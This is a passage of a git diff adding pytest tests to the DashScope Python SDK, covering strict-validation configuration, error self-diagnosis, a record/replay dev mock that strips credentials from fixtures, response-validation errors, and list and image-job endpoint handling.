+ with pytest.raises(ValueError, match="DASHSCOPE_STRICT_VALIDATION"): + resolve_config(config_path="/nonexistent/config.toml") + + +def test_strict_validation_param_beats_env(clean_env, tmp_path): + absent = tmp_path / "absent.toml" + clean_env.setenv("DASHSCOPE_STRICT_VALIDATION", "true") + cfg = resolve_config( + strict_validation=False, + workspace="ws-123", + config_path=absent, + ) + assert cfg.strict_validation is False + clean_env.delenv("DASHSCOPE_STRICT_VALIDATION") + cfg = resolve_config( + strict_validation=True, + workspace="ws-123", + config_path=absent, + ) + assert cfg.strict_validation is True + + +def test_strict_validation_from_config_file(clean_env, tmp_path): + path = _write_config( + tmp_path, + 'workspace = "ws-123"\nstrict_validation = true\n', + ) + assert resolve_config(config_path=path).strict_validation is True + # The env outranks the file, as for every other knob. + clean_env.setenv("DASHSCOPE_STRICT_VALIDATION", "0") + assert resolve_config(config_path=path).strict_validation is False + + +def test_strict_validation_quoted_config_file_value_is_coerced( + clean_env, + tmp_path, +): + # ``bool("false")`` is True, so a hand-written config that quotes the + # value has to go through the same truth table as the env does. + path = _write_config( + tmp_path, + 'workspace = "ws-123"\nstrict_validation = "false"\n', + ) + assert resolve_config(config_path=path).strict_validation is False + + +def test_client_kwarg_beats_env_for_strict_validation(clean_env, tmp_path): + clean_env.setenv("DASHSCOPE_STRICT_VALIDATION", "true") + client = Client( + api_key="k", + workspace="ws-123", + strict_validation=False, + config_path=tmp_path / "absent.toml", + ) + assert client.config.strict_validation is False + client.close() + + +def test_strict_validation_survives_with_options(clean_env, tmp_path): + client = Client( + api_key="k", + workspace="ws-123", + strict_validation=True, + config_path=tmp_path / "absent.toml", + ) + assert client.config.strict_validation is True + # with_options rebuilds a client from an explicit field list instead + # of cloning Config, so a field left off that list is silently + # dropped on the derived client. + derived = client.with_options(max_retries=0) + assert derived.config.strict_validation is True + relaxed = client.with_options(strict_validation=False) + assert relaxed.config.strict_validation is False + derived.close() + relaxed.close() + client.close() + + +@pytest.mark.asyncio +async def test_async_strict_validation_survives_with_options( + clean_env, + tmp_path, +): + client = AsyncClient( + api_key="k", + workspace="ws-123", + strict_validation=True, + config_path=tmp_path / "absent.toml", + ) + assert client.config.strict_validation is True + derived = client.with_options(max_retries=0) + assert derived.config.strict_validation is True + relaxed = client.with_options(strict_validation=False) + assert relaxed.config.strict_validation is False + await derived.aclose() + await relaxed.aclose() + await client.aclose() diff --git a/tests/test_devkit_diagnosis.py b/tests/test_devkit_diagnosis.py new file mode 100644 index 00000000..253a0edb --- /dev/null +++ b/tests/test_devkit_diagnosis.py @@ -0,0 +1,227 @@ +# -*- coding: utf-8 -*- +# Copyright (c) Alibaba, Inc. and its affiliates. +"""Tests for self-diagnosis (dashscope.devkit.diagnosis). + +Each test asserts one behavior of the local rule table, its rendering, or +the ``.diagnosis`` hooks on the error / response-envelope bases. +""" + +from __future__ import annotations + +import httpx +import pytest + +import dashscope +from dashscope import errors +from dashscope.devkit import diagnosis as dx +from dashscope.devkit import install_excepthook, render + +BASE = "https://api.test.local/api/v1" + + +@pytest.fixture(autouse=True) +def _reset_lang(monkeypatch): + monkeypatch.delenv(dx.LANG_ENV, raising=False) + yield + + +# --- rule matching -------------------------------------------------------- + + +def test_match_by_status_code(): + assert dx.diagnose(status_code=401).title.startswith("鉴权失败") + + +def test_match_by_code_keyword(): + assert dx.diagnose(code="Model.NotExist").title.startswith("模型不存在") + + +def test_match_by_message_pattern(): + assert dx.diagnose(message="Read timed out").title.startswith("网络连通性") + + +def test_no_match_returns_none(): + assert ( + dx.diagnose(status_code=418, code="Teapot", message="short and stout") + is None + ) + + +def test_throttling_by_status(): + assert dx.diagnose(status_code=429).title.startswith("触发限流") + + +def test_english_selected_by_env(monkeypatch): + monkeypatch.setenv(dx.LANG_ENV, "en") + assert dx.diagnose(status_code=401).title.startswith( + "Authentication failed", + ) + + +def test_every_error_code_resolves(): + """Consistency guard between the error registry and the rule table. + + Every server-side ``ErrorCode`` the SDK enumerates must map to some + troubleshooting guidance. The rule table is hand-maintained, so this + is what catches drift when a new wire code is added to ``ErrorCode`` + without a matching diagnosis rule. + """ + unresolved = [ + ec.value + for ec in errors.ErrorCode + if dx.diagnose(code=ec.value) is None + ] + assert unresolved == [] + + +# --- rendering ------------------------------------------------------------ + + +def test_render_contains_title_and_expert_hint(): + block = render(dx.diagnose(status_code=401)) + assert "DashScope 诊断建议" in block + assert "dashscope expert" in block + + +def test_render_lists_numbered_fixes(): + block = render(dx.diagnose(status_code=401)) + assert " 1. " in block + assert "👉" in block + + +# --- error hook ----------------------------------------------------------- + + +def test_error_object_exposes_diagnosis(): + err = errors.error_from_status( + 401, + message="no api key provided", + body={"code": "InvalidApiKey"}, + ) + assert err.diagnosis is not None + assert err.diagnosis.title.startswith("鉴权失败") + + +def test_error_diagnosis_none_when_unmatched(): + err = errors.error_from_status( + 418, + message="teapot", + body={"code": "Teapot"}, + ) + assert err.diagnosis is None + + +def test_sdk_error_inherits_diagnosis(): + err = errors.SdkError("connection reset") + assert err.diagnosis is not None + + +# --- response-envelope hook (raise_on_error=False) ------------------------ + + +def _client(handler, **kwargs): + http_client = httpx.Client( + transport=httpx.MockTransport(handler), + base_url=BASE, + ) + kwargs.setdefault("base_url", BASE) + kwargs.setdefault("raise_on_error", False) + return dashscope.Client( + api_key="sk-test", + http_client=http_client, + **kwargs, + ) + + +def test_envelope_diagnosis_on_business_error(): + def handler(request): + return httpx.Response( + 429, + json={"code": "Throttling", "message": "slow"}, + ) + + resp = _client(handler).chat.completions.create( + model="qwen-plus", + messages=[{"role": "user", "content": "hi"}], + ) + assert resp.is_error is True + assert resp.diagnosis.title.startswith("触发限流") + + +def test_envelope_diagnosis_none_on_success(): + def handler(request): + return httpx.Response( + 200, + json={ + "output": { + "choices": [ + { + "finish_reason": "stop", + "message": {"role": "assistant", "content": "ok"}, + }, + ], + }, + "request_id": "r", + }, + ) + + resp = _client(handler).chat.completions.create( + model="qwen-plus", + messages=[{"role": "user", "content": "hi"}], + ) + assert resp.is_error is False + assert resp.diagnosis is None + + +# --- excepthook ----------------------------------------------------------- + + +def test_install_excepthook_renders_to_stderr(capsys, monkeypatch): + import sys + + monkeypatch.setattr(dx, "_installed", False) + saved_hook = sys.excepthook + try: + install_excepthook() + err = errors.error_from_status( + 401, + message="x", + body={"code": "InvalidApiKey"}, + ) + sys.excepthook(type(err), err, None) + captured = capsys.readouterr() + assert "DashScope 诊断建议" in captured.err + finally: + sys.excepthook = saved_hook + monkeypatch.setattr(dx, "_installed", False) + + +def test_install_excepthook_chains_previous_hook(monkeypatch): + """The pre-existing hook must still run, not be dropped. + + ``install_excepthook`` chains to whatever ``sys.excepthook`` was + before it (pytest, IPython, an APM agent), rather than jumping + straight to ``sys.__excepthook__`` and silently skipping it. + """ + import sys + + monkeypatch.setattr(dx, "_installed", False) + seen = [] + + def previous(exc_type, exc, tb): + seen.append(exc_type) + + saved_hook = sys.excepthook + monkeypatch.setattr(sys, "excepthook", previous) + try: + install_excepthook() + err = errors.error_from_status( + 401, + message="x", + body={"code": "InvalidApiKey"}, + ) + sys.excepthook(type(err), err, None) + assert seen == [type(err)] + finally: + sys.excepthook = saved_hook + monkeypatch.setattr(dx, "_installed", False) diff --git a/tests/test_devkit_mock.py b/tests/test_devkit_mock.py new file mode 100644 index 00000000..c897dbd4 --- /dev/null +++ b/tests/test_devkit_mock.py @@ -0,0 +1,552 @@ +# -*- coding: utf-8 -*- +# Copyright (c) Alibaba, Inc. and its affiliates. +"""Tests for the dev mock (dashscope.devkit.mock). + +Every test asserts one behavior of the static/replay/record modes at the +transport choke point. The mock is process-global, so an autouse fixture +resets code + env activation around each case. +""" + +# Mock handlers intentionally ignore the request argument. +# pylint: disable=unused-argument + +from __future__ import annotations + +import asyncio +import json + +import httpx +import pytest + +import dashscope +from dashscope import AsyncClient, Client, devkit +from dashscope.devkit import DevMockMiss +from dashscope.devkit import mock as m +from dashscope.errors import DashScopeError + +BASE = "https://api.test.local/api/v1" +DEAD = "https://dead.invalid/api/v1" + +NATIVE_BODY = { + "output": { + "choices": [ + { + "finish_reason": "stop", + "message": {"role": "assistant", "content": "REAL"}, + }, + ], + }, + "usage": {"input_tokens": 1, "output_tokens": 2, "total_tokens": 3}, + "request_id": "real-1", +} +NATIVE_SSE = ( + "id: 1\ndata: " + + json.dumps( + { + "output": { + "choices": [ + { + "finish_reason": "stop", + "message": { + "role": "assistant", + "content": "REAL-STREAM", + }, + }, + ], + }, + "usage": { + "input_tokens": 1, + "output_tokens": 2, + "total_tokens": 3, + }, + "request_id": "real-1", + }, + ) + + "\n\n" +) + + +@pytest.fixture(autouse=True) +def _reset_mock(monkeypatch): + monkeypatch.delenv("DASHSCOPE_DEV_MOCK", raising=False) + monkeypatch.delenv("DASHSCOPE_DEV_MOCK_FIXTURE", raising=False) + devkit.disable_dev_mock() + yield + devkit.disable_dev_mock() + + +def _is_stream(body: dict) -> bool: + return bool(body.get("parameters", {}).get("incremental_output")) + + +def _real_handler(request): + body = json.loads(request.content) + if _is_stream(body): + return httpx.Response( + 200, + content=NATIVE_SSE, + headers={"content-type": "text/event-stream"}, + ) + return httpx.Response(200, json=NATIVE_BODY) + + +def _boom(request): + raise AssertionError("network hit while the mock should serve it") + + +def _client(handler=None, **kwargs): + if handler is None: + kwargs.setdefault("base_url", DEAD) + return Client(api_key="sk-test", **kwargs) + http_client = httpx.Client( + transport=httpx.MockTransport(handler), + base_url=BASE, + ) + kwargs.setdefault("base_url", BASE) + return Client(api_key="sk-secret", http_client=http_client, **kwargs) + + +def _async_client(handler): + http_client = httpx.AsyncClient( + transport=httpx.MockTransport(handler), + base_url=BASE, + ) + return AsyncClient( + api_key="sk-secret", + http_client=http_client, + base_url=BASE, + ) + + +_MSG = [{"role": "user", "content": "hi"}] + + +# --- static --------------------------------------------------------------- + + +def test_static_nonstream_needs_no_network(): + dashscope.enable_dev_mock("static") + resp = _client().chat.completions.create(model="qwen-plus", messages=_MSG) + assert resp.output_text.startswith(devkit.MOCK_MARKER) + + +def test_static_nonstream_request_id_is_marked(): + dashscope.enable_dev_mock("static") + resp = _client().chat.completions.create(model="qwen-plus", messages=_MSG) + assert resp.request_id.startswith("mock-") + + +def test_static_stream_reassembles_and_reports_usage(): + dashscope.enable_dev_mock("static") + stream = _client().chat.completions.create( + model="qwen-plus", + messages=_MSG, + stream=True, + ) + assert "".join(stream.text_stream).startswith(devkit.MOCK_MARKER) + assert stream.get_final_message().usage is not None + + +def test_static_openai_protocol(): + dashscope.enable_dev_mock("static") + client = _client(protocol="openai", base_url="https://dead.invalid/v1") + resp = client.chat.completions.create(model="qwen-plus", messages=_MSG) + assert resp.output_text.startswith(devkit.MOCK_MARKER) + + +def test_static_anthropic_protocol_stream(): + dashscope.enable_dev_mock("static") + client = _client(protocol="anthropic", base_url="https://dead.invalid") + stream = client.chat.completions.create( + model="qwen-plus", + messages=_MSG, + stream=True, + ) + assert "".join(stream.text_stream).startswith(devkit.MOCK_MARKER) + + +def test_static_multimodal_path_is_supported(): + dashscope.enable_dev_mock("static") + resp = _client().multimodal.chat.create( + model="qwen-vl", + messages=[{"role": "user", "content": [{"text": "hi"}]}], + ) + assert resp.output_text.startswith(devkit.MOCK_MARKER) + + +def test_static_refuses_non_chat_endpoint_loudly(): + dashscope.enable_dev_mock("static") + with pytest.raises(DevMockMiss): + _client().embeddings.create(model="text-embedding-v4", input=["hi"]) + + +# --- env activation ------------------------------------------------------- + + +def test_env_var_activates_static(monkeypatch): + monkeypatch.setenv("DASHSCOPE_DEV_MOCK", "static") + assert dashscope.dev_mock_active() is True + resp = _client().chat.completions.create(model="qwen-plus", messages=_MSG) + assert resp.output_text.startswith(devkit.MOCK_MARKER) + + +def test_invalid_env_mode_raises(monkeypatch): + monkeypatch.setenv("DASHSCOPE_DEV_MOCK", "nope") + with pytest.raises(ValueError): + dashscope.dev_mock_active() + + +def test_disable_restores_passthrough(): + dashscope.enable_dev_mock("static") + dashscope.disable_dev_mock() + assert dashscope.dev_mock_active() is False + with pytest.raises(AssertionError): + _client(_boom).chat.completions.create( + model="qwen-plus", + messages=_MSG, + ) + + +# --- record / replay ------------------------------------------------------ + + +def _read_fixture(path): + with open(path, encoding="utf-8") as f: + return [json.loads(line) for line in f if line.strip()] + + +def test_record_writes_fixture_without_credentials(tmp_path): + fix = str(tmp_path / "mock.jsonl") + dashscope.enable_dev_mock("record", fix) + resp = _client(_real_handler).chat.completions.create( + model="qwen-plus", + messages=_MSG, + ) + dashscope.disable_dev_mock() + assert resp.output_text == "REAL" + with open(fix, encoding="utf-8") as f: + raw = f.read() + assert "sk-secret" not in raw + assert "uthorization" not in raw + assert len(_read_fixture(fix)) == 1 + + +def test_record_then_replay_serves_from_fixture(tmp_path): + fix = str(tmp_path / "mock.jsonl") + dashscope.enable_dev_mock("record", fix) + _client(_real_handler).chat.completions.create( + model="qwen-plus", + messages=_MSG, + ) + dashscope.disable_dev_mock() + + dashscope.enable_dev_mock("replay", fix) + resp = _client(_boom).chat.completions.create( + model="qwen-plus", + messages=_MSG, + ) + dashscope.disable_dev_mock() + assert resp.output_text == "REAL" + + +def test_replay_stream_roundtrip(tmp_path): + fix = str(tmp_path / "mock.jsonl") + dashscope.enable_dev_mock("record", fix) + recorded = "".join( + _client(_real_handler) + .chat.completions.create(model="qwen-plus", messages=_MSG, stream=True) + .text_stream, + ) + dashscope.disable_dev_mock() + + dashscope.enable_dev_mock("replay", fix) + replayed = "".join( + _client(_boom) + .chat.completions.create(model="qwen-plus", messages=_MSG, stream=True) + .text_stream, + ) + dashscope.disable_dev_mock() + assert replayed == recorded == "REAL-STREAM" + + +def test_replay_miss_raises_dev_mock_miss(tmp_path): + fix = str(tmp_path / "mock.jsonl") + dashscope.enable_dev_mock("record", fix) + _client(_real_handler).chat.completions.create( + model="qwen-plus", + messages=_MSG, + ) + dashscope.disable_dev_mock() + + dashscope.enable_dev_mock("replay", fix) + with pytest.raises(DevMockMiss): + _client(_boom).chat.completions.create( + model="different-model", + messages=_MSG, + ) + dashscope.disable_dev_mock() + + +def test_dev_mock_miss_is_a_dashscope_error(): + assert issubclass(DevMockMiss, DashScopeError) + + +# --- record hardening ----------------------------------------------------- + + +def test_record_fixture_is_owner_only(tmp_path): + fix = tmp_path / "mock.jsonl" + dashscope.enable_dev_mock("record", str(fix)) + _client(_real_handler).chat.completions.create( + model="qwen-plus", + messages=_MSG, + ) + dashscope.disable_dev_mock() + # Recorded bodies can be sensitive; the file must not be group/other + # readable. + assert fix.stat().st_mode & 0o777 == 0o600 + + +def test_record_mode_warns_once(tmp_path, monkeypatch): + monkeypatch.setattr(m, "_warned_record", False) + fix = str(tmp_path / "mock.jsonl") + dashscope.enable_dev_mock("record", fix) + with pytest.warns(UserWarning, match="record"): + _client(_real_handler).chat.completions.create( + model="qwen-plus", + messages=_MSG, + ) + dashscope.disable_dev_mock() + + +def test_re_record_newest_wins(tmp_path): + fix = str(tmp_path / "mock.jsonl") + dashscope.enable_dev_mock("record", fix) + _client(_real_handler).chat.completions.create( + model="qwen-plus", + messages=_MSG, + ) + dashscope.disable_dev_mock() + + def handler2(request): + body = dict(NATIVE_BODY) + body["output"] = { + "choices": [ + { + "finish_reason": "stop", + "message": {"role": "assistant", "content": "REAL2"}, + }, + ], + } + return httpx.Response(200, json=body) + + dashscope.enable_dev_mock("record", fix) + _client(handler2).chat.completions.create( + model="qwen-plus", + messages=_MSG, + ) + dashscope.disable_dev_mock() + + # Same request re-recorded: replay must serve the newest capture, + # not the stale first one. + dashscope.enable_dev_mock("replay", fix) + resp = _client(_boom).chat.completions.create( + model="qwen-plus", + messages=_MSG, + ) + dashscope.disable_dev_mock() + assert resp.output_text == "REAL2" + + +def test_replay_misses_when_endpoint_differs(tmp_path): + fix = str(tmp_path / "mock.jsonl") + dashscope.enable_dev_mock("record", fix) + _client(_real_handler).chat.completions.create( + model="qwen-plus", + messages=_MSG, + ) + dashscope.disable_dev_mock() + + # Same path + body but a different endpoint (region): the capture + # must not replay, or a Hangzhou recording would answer a Singapore + # request. + other = "https://api.other-region.test.local/api/v1" + dashscope.enable_dev_mock("replay", fix) + http_client = httpx.Client( + transport=httpx.MockTransport(_boom), + base_url=other, + ) + client = Client( + api_key="sk-secret", + http_client=http_client, + base_url=other, + ) + with pytest.raises(DevMockMiss): + client.chat.completions.create(model="qwen-plus", messages=_MSG) + dashscope.disable_dev_mock() + + +def test_redactor_scrubs_recorded_body(tmp_path): + fix = str(tmp_path / "mock.jsonl") + devkit.set_redactor(lambda body: {**body, "output": ""}) + try: + dashscope.enable_dev_mock("record", fix) + _client(_real_handler).chat.completions.create( + model="qwen-plus", + messages=_MSG, + ) + dashscope.disable_dev_mock() + finally: + devkit.set_redactor(None) + with open(fix, encoding="utf-8") as f: + raw = f.read() + assert "REAL" not in raw + assert "" in raw + + +# --- fixture encoding / stream completeness (unit level) ------------------ + + +def test_binary_body_roundtrips_losslessly(): + raw = bytes(range(256)) # not valid UTF-8 + encoded = m._encode_body(raw) + assert encoded["body_encoding"] == "base64" + assert m._decode_body(encoded) == raw + + +def test_text_body_stays_readable(): + encoded = m._encode_body(b'{"ok": true}') + assert encoded["body_encoding"] == "utf-8" + assert encoded["body"] == '{"ok": true}' + assert m._decode_body(encoded) == b'{"ok": true}' + + +def test_stream_drained_to_eof_is_complete(): + class Inner(httpx.SyncByteStream): + def __iter__(self): + yield b"a" + yield b"b" + + seen = {} + tee = m._TeeSyncStream( + Inner(), + lambda raw, complete: seen.update(raw=raw, complete=complete), + ) + assert list(tee) == [b"a", b"b"] + assert seen["complete"] is True + assert seen["raw"] == b"ab" + + +def test_stream_closed_early_is_incomplete(): + class Inner(httpx.SyncByteStream): + def __iter__(self): + yield b"a" + yield b"b" + + seen = {} + tee = m._TeeSyncStream( + Inner(), + lambda raw, complete: seen.update(raw=raw, complete=complete), + ) + iterator = iter(tee) + next(iterator) # consume one chunk, then abandon + tee.close() + assert seen["complete"] is False + assert seen["raw"] == b"a" + + +def test_replay_refuses_incomplete_stream(tmp_path, monkeypatch): + fix = str(tmp_path / "mock.jsonl") + monkeypatch.setenv("DASHSCOPE_DEV_MOCK_FIXTURE", fix) + key = m._fingerprint( + "POST", + "/x", + {"model": "qwen-plus"}, + None, + base_url="https://b/api/v1", + ) + m._append_fixture( + { + "key": key, + "stream": True, + "complete": False, + "status_code": 200, + "content_type": "text/event-stream", + "body": "data: {}\n\n", + "body_encoding": "utf-8", + }, + ) + with pytest.raises(DevMockMiss): + m._replay(key, "POST", "https://b/api/v1/x", True) + monkeypatch.setenv("DASHSCOPE_DEV_MOCK_ALLOW_PARTIAL", "1") + assert ( + m._replay(key, "POST", "https://b/api/v1/x", True).status_code == 200 + ) + + +def test_fingerprint_separates_body_channels(): + base = m._fingerprint("POST", "/x", {"a": 1}, None) + assert base != m._fingerprint("POST", "/x", {"a": 1}, None, content=b"z") + assert base != m._fingerprint( + "POST", + "/x", + {"a": 1}, + None, + base_url="https://other/api/v1", + ) + # Volatile identity headers never change the key. + assert base == m._fingerprint( + "POST", + "/x", + {"a": 1}, + None, + headers={"Authorization": "Bearer x", "User-Agent": "y"}, + ) + + +# --- async ---------------------------------------------------------------- + + +def test_async_record_then_replay(tmp_path): + fix = str(tmp_path / "mock.jsonl") + + async def run(): + dashscope.enable_dev_mock("record", fix) + client = _async_client(_real_handler) + recorded = ( + await client.chat.completions.create( + model="qwen-plus", + messages=_MSG, + ) + ).output_text + await client.aclose() + dashscope.disable_dev_mock() + + dashscope.enable_dev_mock("replay", fix) + client = _async_client(_boom) + replayed = ( + await client.chat.completions.create( + model="qwen-plus", + messages=_MSG, + ) + ).output_text + await client.aclose() + dashscope.disable_dev_mock() + return recorded, replayed + + recorded, replayed = asyncio.run(run()) + assert recorded == replayed == "REAL" + + +def test_async_static_needs_no_network(): + async def run(): + dashscope.enable_dev_mock("static") + client = AsyncClient(api_key="sk-test", base_url=DEAD) + resp = await client.chat.completions.create( + model="qwen-plus", + messages=_MSG, + ) + await client.aclose() + return resp.output_text + + assert asyncio.run(run()).startswith(devkit.MOCK_MARKER) diff --git a/tests/test_errors.py b/tests/test_errors.py index 48bd0d37..9c824175 100644 --- a/tests/test_errors.py +++ b/tests/test_errors.py @@ -17,12 +17,14 @@ import httpx import pytest +from pydantic import ValidationError from dashscope import AsyncClient, Client from dashscope import _error_registry as registry from dashscope import errors from dashscope.errors import ( APIConnectionError, + APIResponseValidationError, APIStatusError, APITimeoutError, AuthenticationError, @@ -55,6 +57,7 @@ _WIRE_TO_PUBLIC, ) from dashscope.types.common import JobStatus, ResponseBase, response_body +from dashscope.types.completions import ChatCompletion def _resp(status, body=None, headers=None): @@ -1008,3 +1011,114 @@ def test_sdk_error_translation_needs_a_family_fallback(): family="sdk.agentstudio", ) assert "sdk.agentstudio.Error" in str(ei.value) + + +def _validation_cause(body): + """A real pydantic failure over a body the typed models cannot hold.""" + with pytest.raises(ValidationError) as caught: + ChatCompletion(**body) + return caught.value + + +def test_response_validation_error_is_its_own_category(): + assert issubclass(APIResponseValidationError, DashScopeError) + assert not issubclass(APIResponseValidationError, APIStatusError) + assert not issubclass(APIResponseValidationError, SdkError) + err = APIResponseValidationError() + assert isinstance(err, DashScopeError) + assert err.message == "Response body failed SDK-side validation." + # No status is invented: the gateway's own status said success. + assert err.status_code is None + assert err.code is None + + +def test_response_validation_error_is_not_a_catalog_entry(): + # ``_error_registry.py`` is a vendored generated artifact, so this + # class has no ``sdk.*`` entry behind it; pinning that keeps the + # DashScopeError base (rather than SdkError) a recorded decision. + names = {entry.name for entry in registry.SDK_ERRORS} + assert not any("response_validation" in name for name in names) + assert APIResponseValidationError().code is None + + +def test_response_validation_error_makes_a_parse_failure_catchable(): + body = {"request_id": "req-1", "usage": "unlimited"} + with pytest.raises(DashScopeError) as caught: + try: + ChatCompletion(**body) + except ValidationError as exc: + raise APIResponseValidationError( + response=_resp(200, body), + body=body, + cause=exc, + ) from exc + assert caught.value.__cause__ is not None + + +def test_response_validation_error_str_carries_request_id_and_body(): + body = { + "request_id": "req-1", + "output": {"text": "hi"}, + "usage": "unlimited", + } + err = APIResponseValidationError( + response=_resp(200, body), + body=body, + cause=_validation_cause(body), + ) + assert err.request_id == "req-1" + text = str(err) + assert "request_id=req-1" in text + assert "usage" in text and "unlimited" in text + assert "cause=" in text and "ChatCompletion" in text + # Pydantic's own text is multiline; ``__str__`` stays on one line. + assert "\n" not in text + + +def test_response_validation_error_carries_response_body_and_cause(): + body = {"usage": "unlimited"} + cause = _validation_cause(body) + response = _resp(200, body, {"x-request-id": "header-id"}) + err = APIResponseValidationError( + response=response, + body=body, + cause=cause, + ) + assert err.response is response + assert err.body is body + assert err.cause is cause + assert err.headers["x-request-id"] == "header-id" + # With no request_id in the body, the header supplies it. + assert err.request_id == "header-id" + assert err.status_code is None + assert err.response.status_code == 200 + + +def test_response_validation_error_without_a_response(): + # Websocket payloads have no httpx.Response behind them. + err = APIResponseValidationError( + body={"output": {"text": "hi"}}, + request_id="ws-1", + ) + assert err.response is None + assert err.headers == {} + assert err.request_id == "ws-1" + assert "request_id=ws-1" in str(err) + assert "cause=" not in str(err) + + +def test_response_validation_error_keeps_an_explicit_message(): + err = APIResponseValidationError("usage arrived as a string") + assert err.message == "usage arrived as a string" + assert str(err) == " usage arrived as a string" + + +def test_response_validation_error_digests_stay_one_bounded_line(): + err = APIResponseValidationError( + body={"text": "x" * 5000, "split": "a\nb\tc"}, + cause=ValueError("boom\nover two lines"), + ) + text = str(err) + assert "\n" not in text and "\t" not in text + assert text.endswith("...") + assert len(text) < 600 diff --git a/tests/test_files_models.py b/tests/test_files_models.py index a1e14bbf..a5941333 100644 --- a/tests/test_files_models.py +++ b/tests/test_files_models.py @@ -397,6 +397,101 @@ def handler(request): assert page.request_id == "req-page" +def test_models_list_falls_back_to_item_count_when_total_missing(): + # Gateways that omit ``total`` still have to report a meaningful + # ``total_count``: reading the field default would show an empty + # catalog for a page that clearly has entries. + def handler(request): + return httpx.Response( + 200, + json={ + "request_id": "req-no-total", + "output": { + "page_no": 1, + "page_size": 10, + "models": [ + {"model": "qwen-plus", "source": "dashscope"}, + {"model": "qwen3-max", "source": "bailian"}, + ], + }, + }, + ) + + page = _make_client(handler).models.list() + assert [m.model for m in page.models] == ["qwen-plus", "qwen3-max"] + assert page.total_count == 2 + + +def test_models_list_parses_a_bare_list_page(): + # A page delivered as a bare list carries no ``page_no`` / ``total`` to + # read, so it is taken as one whole page. The generic envelope lifter + # only unwraps a dict, which parsed this shape as an empty catalog. + def handler(request): + return httpx.Response( + 200, + json={ + "request_id": "req-bare-list", + "output": [ + {"model": "qwen-plus", "source": "dashscope"}, + {"model": "qwen3-max", "source": "bailian"}, + ], + }, + ) + + page = _make_client(handler).models.list() + assert [m.model for m in page.models] == ["qwen-plus", "qwen3-max"] + assert page.page_no == 1 + assert page.total_count == 2 + assert page.request_id == "req-bare-list" + + +def test_models_list_retyped_models_does_not_poison_the_total(): + # ``total`` falls back to ``len(models)``, and the length of a drifted + # string is not a page total: without a guard this reported a 10-item + # catalog for a page that repaired down to zero entries. + def handler(request): + return httpx.Response( + 200, + json={"request_id": "req-str", "output": {"models": "nope"}}, + ) + + page = _make_client(handler).models.list() + assert page.models == [] + assert page.total_count == 0 + + +def test_models_list_scalar_page_degrades_instead_of_raising(): + # ``len()`` on a scalar page would escape as a bare TypeError from the + # resource, outside any ``except DashScopeError`` the caller has. + def handler(request): + return httpx.Response(200, json={"request_id": "req-n", "output": 5}) + + page = _make_client(handler).models.list() + assert page.models == [] + assert page.total_count == 0 + + +def test_files_list_retyped_files_does_not_poison_the_total(): + def handler(request): + return httpx.Response( + 200, + json={"request_id": "req-fs", "data": {"files": "nope"}}, + ) + + page = _make_client(handler).files.list() + assert page.files == [] + assert page.total_count == 0 + + +def test_files_list_scalar_page_degrades_instead_of_raising(): + def handler(request): + return httpx.Response(200, json={"request_id": "req-fn", "data": 5}) + + page = _make_client(handler).files.list() + assert page.files == [] + assert page.total_count == 0 + + def test_models_list_carries_raw_response_headers(): # Uniform success-path contract: every HTTP resource mirrors the # gateway's response headers on ``resp.headers`` (1.x parity). diff --git a/tests/test_images_videos.py b/tests/test_images_videos.py index 00bcba7e..7b4a56ee 100644 --- a/tests/test_images_videos.py +++ b/tests/test_images_videos.py @@ -139,6 +139,96 @@ def handler(request): assert job.usage.image_count == 1 +@pytest.mark.parametrize( + "model", + [ + "wan2.7-image", + "wan2.7-image-pro", + "kling-image", + "vidu-image", + "z-image", + ], +) +def test_images_generate_multimodal_model_prefixes(model): + captured = {} + + def handler(request): + captured["path"] = request.url.path + captured["header"] = request.headers.get("x-dashscope-async") + return httpx.Response(200, json=_multimodal_image_body()) + + client = _make_client(handler) + job = client.images.generate(model=model, prompt="a cat", n=1) + assert captured["path"] == MULTIMODAL_IMAGE_PATH + # One-shot sync call: no async header, no polling. + assert captured["header"] is None + assert job.succeeded is True + assert job.image_urls == ["https://cdn.example.com/1.png"] + + +@pytest.mark.parametrize( + "model", + ["wan2.7-image", "kling-image", "vidu-image", "z-image"], +) +def test_images_jobs_multimodal_models_use_task_endpoint(model): + captured = {} + + def handler(request): + captured["path"] = request.url.path + captured["header"] = request.headers.get("x-dashscope-async") + return httpx.Response(200, json=_task_body("PENDING")) + + client = _make_client(handler) + client.images.jobs.create(model=model, prompt="a cat") + assert captured["path"] == TASK_IMAGE_PATH + assert captured["header"] == "enable" + + +def test_images_jobs_create_allows_template_without_prompt(): + captured = {} + + def handler(request): + captured["path"] = request.url.path + captured["body"] = json.loads(request.content) + return httpx.Response(200, json=_task_body("PENDING")) + + client = _make_client(handler) + client.images.jobs.create( + model="wanx-poster-generation-v1", + extra_input={ + "template_id": "poster-template", + "params": {"title": "Spring sale"}, + }, + ) + assert captured["path"] == IMAGE_PATH + assert captured["body"]["input"] == { + "template_id": "poster-template", + "params": {"title": "Spring sale"}, + } + + +@pytest.mark.asyncio +async def test_async_images_jobs_create_allows_template_without_prompt(): + captured = {} + + def handler(request): + captured["body"] = json.loads(request.content) + return httpx.Response(200, json=_task_body("PENDING")) + + client = _make_async_client(handler) + await client.images.jobs.create( + model="wanx-poster-generation-v1", + extra_input={ + "template_id": "poster-template", + "params": {"title": "Spring sale"}, + }, + ) + assert captured["body"]["input"] == { + "template_id": "poster-template", + "params": {"title": "Spring sale"}, + } + + def test_images_generate_wan26_image_reference_urls(): captured = {} diff --git a/tests/test_jobs.py b/tests/test_jobs.py index a720070d..ac8277d9 100644 --- a/tests/test_jobs.py +++ b/tests/test_jobs.py @@ -14,7 +14,7 @@ import pytest from dashscope import AsyncClient, Client -from dashscope.errors import DashScopeError +from dashscope.errors import APIResponseValidationError, DashScopeError from dashscope.resources._jobs import AsyncJobs, Job, JobList, Jobs BASE_URL = "https://api.test.local/api/v1" @@ -85,6 +85,72 @@ def test_job_from_payload(): assert job.usage.image_count == 1 +def test_results_degrades_under_lenient_parsing(): + # ``output`` is an untyped dict, so nothing at the parse boundary + # inspects ``results``; the typed view is the only place the drift can + # be caught, and by default it keeps the artifact rather than raising. + job = Job.from_payload( + _job_body("SUCCEEDED", results=[{"url": 12345}]), + ) + assert [r.url for r in job.results] == [None] + assert job.image_urls == [] + + +def test_results_raises_under_strict_validation(): + # The mode the Job was built with has to reach the typed view, or + # strict mode silently misses exactly the drift it exists to catch. + job = Job.from_payload( + _job_body("SUCCEEDED", results=[{"url": 12345}]), + strict=True, + ) + with pytest.raises(APIResponseValidationError): + _ = job.results + + +def test_strict_results_still_reads_a_healthy_payload(): + job = Job.from_payload( + _job_body("SUCCEEDED", results=[{"url": "https://cdn/a.png"}]), + strict=True, + ) + assert job.image_urls == 